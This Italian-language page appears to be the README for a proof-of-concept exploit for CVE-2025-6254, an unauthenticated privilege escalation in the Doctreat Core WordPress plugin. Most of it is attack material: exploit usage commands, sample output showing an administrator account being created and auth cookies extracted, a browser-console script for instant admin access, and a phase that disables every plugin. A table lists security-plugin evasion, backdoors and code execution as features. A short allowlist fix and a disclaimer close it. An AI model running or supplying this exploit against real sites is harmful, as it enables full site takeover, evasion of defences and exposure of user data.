
CVE-2025-6254 — Doctreat Core <= 1.6.8 — Escalation di Privilegi Non Autenticata
Il plugin WordPress Doctreat Core versioni <= 1.6.8 è vulnerabile a una vulnerabilità di escalation dei privilegi non autenticata. Questa grave falla consente ad attaccanti non autenticati di creare un nuovo account Amministratore direttamente tramite l'endpoint AJAX di registrazione del plugin.
La vulnerabilità deriva dalla funzione doctreat_process_registration() in hooks/hooks.php, che accetta il parametro user_type direttamente dai dati POST inviati dall'utente e lo passa come parametro role a wp_update_user() senza una corretta autorizzazione o convalida tramite whitelist. Il plugin applica solo esc_sql() (che non convalida i ruoli) — non verifica mai se il ruolo è sicuro per la registrazione pubblica.
Scoperta Rivoluzionaria: Il nonce utilizzato da Doctreat (scripts_vars.ajax_nonce) è esposto su qualsiasi pagina pubblica del tema Doctreat attivo. Il parametro user_type, che normalmente controlla se un utente si registra come "doctors", "hospitals" o "regular_users", può essere sovrascritto tramite POST con user_type=administrator — e questo valore viene passato direttamente come parametro role di WordPress.
/wp-admin/admin-ajax.php?action=doctreat_process_registrationuser_type=administrator insieme ai normali campi di registrazioneajax_nonce dalle pagine pubbliche del tema Doctreat// doctreat_core/hooks/hooks.php ~ line 296
wp_update_user( array(
'ID' => esc_sql( $user_identity ),
'role' => esc_sql( $user_type ), // ← user_type from $_POST via extract($_POST)
'user_status' => 0
) );
// ~ line 311 — Sets _is_verified after registration
update_user_meta( $user_identity, '_is_verified', 'no' );
Nota: Su target con impostazioni di verifica predefinite ($verify_user vuoto o 'remove'), l'utente viene automaticamente verificato e ottiene immediatamente accesso amministratore. Target con verifica via email o approvazione amministratore richiederanno passaggi di verifica aggiuntivi.
python3 CVE-2025-6254_exploit.py target.com
python3 CVE-2025-6254_exploit.py https://target.com
python3 CVE-2025-6254_exploit.py http://target.com:8080
python3 CVE-2025-6254_exploit.py target.com username password
============================================================
CVE-2025-6254 PoC - Doctreat Core Privilege Escalation
============================================================
[*] Target: https://target.com
[+] Found nonce from https://target.com/: abc123xyz
[*] Sending registration request...
[*] Username: hackeradmin1234
[*] Role: administrator
[+] EXPLOIT SUCCESSFUL!
[+] Username: hackeradmin1234
[+] Password: Password@1234!
[+] Email: [email protected]
[+] Role: ADMINISTRATOR
[*] Attempting to login and extract cookies...
[*] Trying Doctreat admin-ajax.php login...
[*] AJAX login status: 200
[*] AJAX login response: {"type":"success","loggedin":true,...}
[+] LOGIN SUCCESSFUL! AUTH COOKIES EXTRACTED!
[+] JAVASCRIPT CONSOLE SCRIPT (COPY & PASTE):
// Paste this in browser DevTools console for instant admin access
[*] PHASE 2: AUTO-DISABLE ALL PLUGINS (PYTHON)
[*] Fetching plugin list from: https://target.com/wp-admin/plugins.php
[+] Found nonce: def456uvw
[+] Found 15 active plugins
[*] Disabling all plugins via bulk action...
[+] ALL PLUGINS DISABLED SUCCESSFULLY!
After running the exploit, copy the generated JavaScript and paste it in your browser's DevTools Console (F12):
(function() {
'use strict';
console.log('[*] Starting WordPress admin access...');
// ... cookies set automatically ...
window.location.href = 'https://target.com/wp-admin/';
})();
requests (pip install requests)// SECURE: Allowlist only safe roles for public registration
$allowed_roles = array('doctors', 'hospitals', 'regular_users', 'seller');
if (!in_array($user_type, $allowed_roles, true)) {
$user_type = 'regular_users'; // ← Reject ALL dangerous roles
}
current_user_can('create_users') per i ruoli privilegiatiuser_type prima di passarlo a wp_update_user()Queste informazioni sono fornite solo a scopo educativo e di test di penetrazione autorizzato. Lo sfruttamento non autorizzato di sistemi informatici è illegale e non etico. Ottenere sempre un'autorizzazione scritta esplicita prima di testare qualsiasi target che non si possiede.
| Nome Plugin | Doctreat Core |
|---|
| Versione Affetta | <= 1.6.8 |
| Tipo di Vulnerabilità | Escalatazione dei Privilegi non Autenticata tramite Iniezione di Ruolo |
| ID CVE | CVE-2025-6254 |
| Punteggio CVSS | 9.8 (Critico) |
| CWE | CWE-269 — Gestione Impropria dei Privilegi |
| Impatto | Acquisizione Completa del Sito — Creazione di Account Amministratore |
| Capacità | Impatto |
|---|
| 🔑 Creare account amministratore senza login | Acquisizione Completa del Sito |
| 🎛️ Disattivare automaticamente tutti i plugin di sicurezza | Evasione della Difesa |
| 💉 Modificare file PHP di plugin/tema | Esecuzione di Codice Remota |
| 🕳️ Installare backdoor nascoste | Accesso Persistente |
| 👥 Visualizzare tutti i dati utente | Violazione della Privacy |